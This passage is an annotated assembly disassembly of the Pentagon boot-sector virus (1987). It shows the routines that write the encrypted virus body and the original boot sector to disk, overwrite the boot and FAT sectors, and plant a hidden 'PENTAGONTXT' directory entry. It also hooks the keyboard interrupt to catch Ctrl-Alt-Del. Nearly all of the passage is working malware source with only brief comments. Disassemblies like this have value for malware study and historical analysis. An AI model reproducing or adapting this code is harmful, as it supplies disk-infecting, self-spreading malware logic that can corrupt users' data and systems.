||
JB BP062D ; Branch if error
|
||
POP AX ; Retrieve write count
|
||
DEC AX ; Decrement count
|
||
JNZ BP0616 ; Repeat for each sector
|
||
JMP BP0631
|
||
|
||
BP062D: POP AX
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Write file
|
||
|
||
BP0631: LEA CX,DB07E0 ; Address end of encrypted
|
||
LEA BX,DB0791 ; Address start of encrypted
|
||
SUB CX,BX ; Length to encrypt
|
||
MOV AL,0AAH ; Load encryption key
|
||
CALL BP0315 ; Encrypt/decrypt
|
||
MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
|
||
MOV CX,CS:DW078C ; Get file track & sector
|
||
MOV DX,CS:DW078E ; Get file head and drive
|
||
MOV DL,CS:DB0790 ; Load device
|
||
MOV BX,1000H ; Address file buffer
|
||
MOV AX,2 ; Two sectors to write
|
||
BP065B: PUSH AX ; Save write count
|
||
MOV AX,0301H ; Write one sector
|
||
CALL BP031B ; Write to disk
|
||
JB BP062D ; Branch if error
|
||
CALL BP0300 ; Address to next sector
|
||
ADD BX,0200H ; Address next sector buffer
|
||
POP AX ; Retrieve write count
|
||
DEC AX ; Decrement write count
|
||
JNZ BP065B ; Write each sector
|
||
MOV BX,OFFSET BP0059 ; Start of encrypted
|
||
MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
|
||
MOV AL,0FCH ; Load encryption key
|
||
CALL BP0315 ; Encrypt
|
||
XOR BX,BX ; Address start of virus
|
||
MOV AX,0301H ; Write one sector
|
||
MOV CX,1 ; Track zero, sector 1
|
||
XOR DH,DH ; Head zero
|
||
CALL BP031B ; Write to disk
|
||
JNB BP068C ; Branch if no error
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Write 1st FAT sector
|
||
|
||
BP068C: MOV BX,OFFSET BP0059
|
||
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
|
||
MOV AL,0FCH ; Load encryption key
|
||
CALL BP0315 ; Decrypt
|
||
MOV BX,0A00H ; Address 1st FAT sector
|
||
MOV AX,0301H ; Write one sector
|
||
MOV CX,2 ; Track zero, sector 2
|
||
CALL BP031B ; Write to disk
|
||
JNB BP06A8 ; Branch if no error
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Write 2nd FAT sector
|
||
|
||
BP06A8: ADD BX,0200H ; Address 2nd FAT sector
|
||
MOV AX,0301H ; Write one sector
|
||
INC CX ; Next sector
|
||
CALL BP031B ; Write to disk
|
||
JNB BP06B8 ; Branch if no error
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
; Create directory entries
|
||
|
||
BP06B8: MOV BX,0E00H ; Address directory
|
||
MOV CX,5 ; Track zero, sector 5
|
||
XOR DH,DH ; Head zero
|
||
MOV AX,7 ; Seven sectors to read
|
||
BP06C3: PUSH AX ; Save read count
|
||
MOV AX,0201H ; Read one sector
|
||
CALL BP0300 ; Address to next sector
|
||
CALL BP031B ; Read from disk
|
||
JB BP06F1 ; Branch if error
|
||
POP AX ; \ Retrieve and save read count
|
||
PUSH AX ; /
|
||
MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
|
||
CALL BP0401 ; Update directory
|
||
JNB BP06F5 ; Branch if entry found
|
||
CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
|
||
JNE BP06EA ; Branch if off
|
||
MOV AX,0301H ; Write one sector
|
||
CALL BP031B ; Write to disk
|
||
BP06EA: POP AX ; Retrieve sector count
|
||
DEC AX ; Decrement sector count
|
||
JNZ BP06C3 ; Repeat for each sector
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
BP06F1: POP AX
|
||
JMP BP06FC ; Pass on to BIOS
|
||
|
||
BP06F5: POP AX
|
||
MOV AX,0301H ; Write one sector
|
||
CALL BP031B ; Write to disk
|
||
BP06FC: POP DI
|
||
POP ES
|
||
POP SI
|
||
POP DS
|
||
POP DX
|
||
POP CX
|
||
POP BX
|
||
POP AX
|
||
INT 68H ; Disk I/O
|
||
RETF 2
|
||
|
||
; Int 9 routine
|
||
|
||
BP0709: PUSH AX
|
||
PUSH BX
|
||
PUSH DS
|
||
MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
|
||
XOR AX,AX ; \ Address zero
|
||
MOV DS,AX ; /
|
||
IN AL,60H ; Get keyboard token
|
||
MOV BX,OFFSET BB0417 ; Address Key states
|
||
TEST BYTE PTR [BX],8 ; Alt key depressed?
|
||
JZ BP0736 ; Branch if not
|
||
TEST BYTE PTR [BX],4 ; Ctrl key depressed?
|
||
JZ BP0736 ; Branch if not
|
||
CMP AL,53H ; Del character token?
|
||
JNE BP0736 ; Branch if not
|
||
XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
|
||
XOR AL,AL ; \ ?
|
||
OUT 60H,AL ; /
|
||
MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
|
||
BP0736: POP DS
|
||
POP BX
|
||
POP AX
|
||
INT 69H ; Keyboard I/O
|
||
PUSHF
|
||
CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
|
||
JNE BP0765 ; Branch if off
|
||
POPF
|
||
MOV AX,3 ; Set mode three
|
||
INT 10H ; VDU I/O
|
||
CLI
|
||
MOV AL,0AH ; Repeat delay 10 times
|
||
XOR CX,CX ; Maximum loop
|
||
BP074F: LOOP BP074F ; Delay
|
||
DEC AL ; Decrement delay count
|
||
JNZ BP074F ; Repeat delay for count
|
||
CALL BP04A0 ; Generate a sound
|
||
XOR CX,CX ; Maximum loop
|
||
BP075A: LOOP BP075A ; Delay
|
||
MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
|
||
STI
|
||
INT 19H ; Disk bootstrap
|
||
|
||
BP0765: POPF
|
||
RETF 2
|
||
|
||
DB 27 DUP (0)
|
||
|
||
DW0784 DW 0064H ; Cluster number of virus
|
||
DW0786 DW 0066H ; Cluster number of file
|
||
DW0788 DW 0B02H ; Virus track & sector
|
||
DW078A DW 0101H ; Virus head and drive
|
||
DW078C DW 0B06H ; File track and sector
|
||
DW078E DW 0101H ; File head and drive
|
||
DB0790 DB 1 ; Device number
|
||
|
||
DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
|
||
DB07B1 DB 'Pentagon,ZG'
|
||
DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
|
||
|
||
DB07E0 DB 20H ; Infection count
|
||
DB07E1 DB 0FFH ; Infected by Brain switch
|
||
DB07E2 DB 0 ; Directory update switch
|
||
DB07E3 DB 0 ; Reboot switch
|
||
|
||
DB ' first sector in segment', 0DH, 0AH, 9, 6DH
|
||
|
||
CODE ENDS
|
||
|
||
END START
|
||
|